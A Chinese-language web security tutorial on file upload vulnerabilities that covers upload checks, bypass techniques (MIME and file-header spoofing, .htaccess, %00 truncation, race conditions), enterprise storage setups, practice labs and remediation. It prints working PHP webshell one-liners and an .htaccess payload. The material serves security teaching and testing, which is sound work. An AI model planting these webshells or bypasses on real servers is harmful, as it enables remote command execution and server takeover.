文章总结: 本文系统剖析Web文件上传漏洞,指出其本质是服务器错误解析文件。内容涵盖前端绕过、解析漏洞、条件竞争等十余种攻击手法,结合企业架构如OSS存储分析利用难点。文章提供实战环境搭建与SRC修复建议,强调需深入理解解析机制与文件生命周期以实施有效防御,具备较高实战指导价值。 综合评分: 89 文章分类: WEB安全,渗透测试,漏洞分析,实战经验
三、文件上传漏洞常见安全校验机制
现实系统通常不会允许任意文件上传,而是会增加安全验证。
主要包括以下几类。
1、无限制上传
最危险的情况。
服务器完全不做任何校验:
shell.php
直接上传即可执行。
这种漏洞在早期系统或内部系统中仍然存在。
2、后缀名校验
系统检查文件后缀:
if($ext != "jpg"){
exit("only jpg");
}
但如果过滤不严,就会被绕过。
例如:
shell.php.jpg
或者:
shell.php3
3、MIME类型校验
服务器会检查HTTP请求头:
Content-Type: image/png
攻击者只需要修改请求包即可:
Content-Type: image/png
但实际文件内容仍然是:
<?php system($_GET['cmd']); ?>
4、文件头检测
某些系统会检测图片文件头。
例如:
GIF89a
攻击者只需构造:
GIF89a
<?php eval($_POST[1]); ?>
即可绕过。
四、文件上传绕过技术总结
真实渗透测试中,攻击者通常会组合多种技术。
1 前端JS验证绕过
很多网站只在前端进行验证。
例如:
<input type="file" accept="image/*">
判断方式:
抓包观察。
如果:
浏览器提示错误,但抓包没有上传请求
说明只是 前端校验。
绕过方式:
直接抓包修改上传数据。
2 .htaccess解析漏洞
Apache支持 .htaccess。
攻击者上传:
.htaccess
内容:
AddType application/x-httpd-php .png
之后上传:
shell.png
即可执行。
3 MIME类型伪造
请求包:
Content-Type: image/png
文件内容:
<?php system($_GET['cmd']); ?>
如果服务器只检查MIME类型,就会被绕过。
4 文件头伪造
构造图片头:
GIF89a
完整payload:
GIF89a
<?php eval($_POST[1]); ?>
5 黑名单过滤绕过
黑名单通常会过滤:
php
asp
jsp
但如果过滤不严:
pphphp
php3
php5
都可能绕过。
6 大小写绕过
某些系统区分大小写:
shell.PHP
shell.pHp
7 %00截断漏洞
在 低版本PHP 中存在。
例如:
shell.php%00.jpg
服务器解析时:
shell.php
但保存文件时:
shell.php.jpg
从而绕过过滤。
8 条件竞争漏洞
如果上传逻辑类似:
move_uploaded_file()
攻击者可以:
不断上传 + 不断访问
在文件删除前触发执行。
示例:
<?php eval($_REQUEST[1]); ?>
利用高频请求实现竞争执行。
9 二次渲染绕过
很多网站会对图片进行 重新渲染。
流程:
1 上传图片
2 服务器重新生成图片
3 删除非法数据
攻击者方法:
1 上传正常图片 2 下载服务器渲染后的图片 3 对比保留字段 4 在保留字段中写入WebShell
再结合 文件包含漏洞 执行。
10 PHP函数缺陷
某些情况下:
move_uploaded_file("1.php","1.php/.")
可能导致路径解析异常。
11 数组绕过
部分代码:
$_POST['save_name']
如果没有正确处理数组。
攻击者可以发送:
save_name[0]=shell.php
save_name[1]=jpg
从而绕过校验。
五、真实企业环境中的文件上传架构
在真实企业环境中,文件上传往往更加复杂。
攻击方式也不同。
1 上传目录无执行权限
很多服务器会设置:
/upload
禁止执行脚本。
例如:
chmod -x
即使上传:
shell.php
也不会执行。
绕过条件:
能够控制上传目录路径
例如:
../../webroot/
2 数据编码存储
某些系统会:
base64编码
存储文件。
再在访问时解码。
这种情况下:
文件后缀无意义。
绕过难度较高。
3 分站存储架构
很多大型网站采用:
upload.example.com
负责上传
img.example.com
负责访问
例如:
upload.xiaodi8.com
images.xiaodi8.com
此时:
图片服务器通常只允许 静态访问。
攻击者需要寻找:
解析配置漏洞。
4 OSS对象存储
现代网站大量使用:
-
阿里云 OSS
-
AWS S3
-
腾讯 COS
核心权限:
Bucket Access Control
如果:
Public Read
则所有人可访问。
但通常:
无法直接执行脚本。
因此利用难度较高。
六、文件上传漏洞常见应用场景
真实漏洞通常出现在以下位置:
1 用户注册头像上传
/upload/avatar
2 API上传接口
例如:
/api/upload
3 后台管理系统
例如:
/admin/upload
4 三方编辑器
例如:
-
UEditor
-
KindEditor
-
CKEditor
历史上出现过大量上传漏洞。
5 源码泄露后的审计
通过代码审计发现:
upload.php
存在逻辑漏洞。
七、漏洞复现环境搭建
建议使用以下环境进行练习。
f8x环境
https://github.com/ffffffff0x/f8x
一键部署漏洞环境。
安装:
f8x -d
或
f8x -docker
upload-labs
https://github.com/sqlsec/upload-labs-docker
部署:
docker-compose up -d
即可获得完整的文件上传漏洞实验环境。
八、SRC漏洞报告复盘
企业SRC中,文件上传漏洞通常会被评为:
高危漏洞
影响包括:
-
WebShell控制服务器
-
获取数据库权限
-
横向渗透内网
-
数据窃取
-
持久化控制
典型漏洞报告结构:
漏洞标题
漏洞描述
漏洞复现步骤
漏洞影响
漏洞修复建议
修复方式:
-
严格白名单校验
-
文件内容检测
-
上传目录禁止执行
-
随机文件名
-
OSS安全配置
结语
文件上传漏洞看似简单,但真正的难点在于:
服务器解析机制 + 安全策略 + 架构设计。
真正的高手在测试上传漏洞时,往往会思考:
-
解析在哪里发生?
-
文件最终存储在哪里?
-
哪个组件负责处理?
-
是否存在二次处理流程?
只有把整个 文件生命周期 看清楚,才能真正挖出高价值漏洞。
如果把 Web 渗透比作一场战争:
文件上传漏洞,就是最经典的“城门入口”。
一旦城门被打开,整个系统都会暴露在攻击者面前。
而真正的安全高手,永远在研究:
这扇门到底是怎么被打开的。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第67天-Web攻防实战笔记:文件上传漏洞原理、绕过技巧与真实场景复盘》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论